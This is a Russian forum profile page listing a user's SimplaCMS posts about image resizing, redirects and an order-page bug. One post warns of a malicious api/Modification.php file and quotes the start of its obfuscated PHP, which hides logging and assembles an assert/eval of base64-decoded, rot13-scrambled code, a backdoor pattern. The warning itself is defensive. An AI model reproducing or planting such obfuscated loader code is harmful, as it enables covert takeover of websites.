Dmitry86
Пользователь-
Content Count
192 -
Joined
-
Last visited
Информация о вас
-
From
~
Recent Profile Visitors
The recent visitors block is disabled and is not being shown to other users.
-
Всем добрый день. Хочу предупредить пользователей SimplaCMS- проверьте свою папку api на предмет наличия нестандартных или зашифрованных скриптов. В качестве примера приведу скрипт Modification.php следующего содержания: <?php @ini_set("error_log",NULL); @ini_set("log_errors",0); @ini_set("display_errors", 0); error_reporting(0); $wa = ASSERT_WARNING; @assert_options($wa, 0); @assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as"; $strings .= "se"; $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r"; $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode"); $light = $s
-
Обновил ссылку на архив с файлами: https://cloud.mail.ru/public/LyHe/YYc283Xzy
-
Странно, но в изначальном решении https://forum.simplacms.ru/topic/8424-убираем-токен-из-адреса-изображения/ этот код закомментирован.... Если его раскомментировать, то несуществующие изображения снова начинают отдавать ответ 200 и "bad token". У меня есть ещё самописный файлик, ресайзер, который на кроне автоматом должен ресайзить изображения для карточек товаров, по которым ещё не прошелся пользователь, выглядит следующим образом: <?php //ini_set('display_errors', 1); chdir(dirname(__FILE__).'/'); require_once('api/Simpla.php'); $simpla = new Simpla(); ###################
-
api/Image.php <?php /** * Simpla CMS * * @copyright 2011 Denis Pikusov * @link http://simplacms.ru * @author Denis Pikusov * */ require_once('Simpla.php'); class Image extends Simpla { private $allowed_extentions = array('png', 'gif', 'jpg', 'jpeg', 'ico'); public function __construct() { parent::__construct(); } /** * Создание превью изображения * @param $filename файл с изображением (без пути к файлу) * @param max_w максимальная ширина * @param max_h максимальная высота * @return $string имя файла превью */ function resize($filename,$brands ='')
-
Dmitry86 started following Баг на странице заказа and Ошибка 500 при обращении к несуществующему изображению
-
Ребят, помогите найти ошибку. На сайте изображения ресайзятся через ImageMagick. Ссылки на изображения без токенов. Если удалить изображение из товара, и обратиться к нему по той ссылке, по которой оно раньше было доступно, то сервер сваливается с ошибкой 500, а по идее должен либо 404 либо 403 отдавать (?) Строка 338 это: if(!$thumb->readImage($src_file)) в функции: private function image_constrain_imagick($src_file, $dst_file, $max_w, $max_h, $watermark=null, $watermark_offet_x=0, $watermark_offet_y=0, $watermark_opacity=1, $sharpen=0.2, $strict=null) { $thumb = n
-
Кстати, тут ещё можно добавить удаление всяких get-параметров, если нужно или они были раньше в ссылках: $uri = trim(strtok($_SERVER['REQUEST_URI'], '?'), '/');
-
https://cloud.mail.ru/public/3GgG/vGbnbuykt Возможно, вам потребуется вносить правки в зависимости от того, как у вас настроены общие редиректы в .htaccess Не знаю, как было изначально задумано, но в админке я вношу url в следующем виде: Откуда: catalog/razdel-1 Куда: /catalog/razdel Именно так, и слэш в новом ur; должен стоять в начале. Думаю, разберетесь)
-
Выложу архив попозже сюда.
-
Баг на странице заказа
Dmitry86 replied to Dmitry86's topic in Общие вопросы по функционалу и дизайну
попробую, конечно, спасибо) -
Баг на странице заказа
Dmitry86 replied to Dmitry86's topic in Общие вопросы по функционалу и дизайну
Разве вот этот код из CartView.php не должен отдавать 404? if(!$order) return false; -
Баг на странице заказа
Dmitry86 replied to Dmitry86's topic in Общие вопросы по функционалу и дизайну
У меня были кое-какие доработки, сейчас в index.php кусок кода с 404 выглядит так: // Если все хорошо if(($res = $view->fetch()) !== false) { // Выводим результат header("Content-type: text/html; charset=UTF-8"); if($view->last_modified) { $LastModified_unix = strtotime($view->last_modified); // время последнего изменения страницы $LastModified = gmdate("D, d M Y H:i:s \G\M\T", $LastModified_unix); $IfModifiedSince = false; if (isset($_ENV['HTTP_IF_MODIFIED_SINCE'])) $IfModifiedSince = strtotime(substr($_ENV['HTTP_IF_MODIFIED_SINCE'], 5)); if (isse -
Здравствуйте. Обнаружил странный баг на странице заказа. Допустим, есть оформленный заказ, который открывается по ссылке site.com/order/395b4c2943b1735832bab94bf8eede55 Если удалить этот заказ в админке и обновить в браузере страницу с заказом, то на страницу начнут выгружаться списком все товары из ранее оформленных заказов с ценами. Подскажите, как исправить? В файле CartView.php функция вывода выглядит так: function fetch_order() { if($url = $this->request->get('url', 'string')) $order = $this->orders->get_order((string)$url); elseif(!empty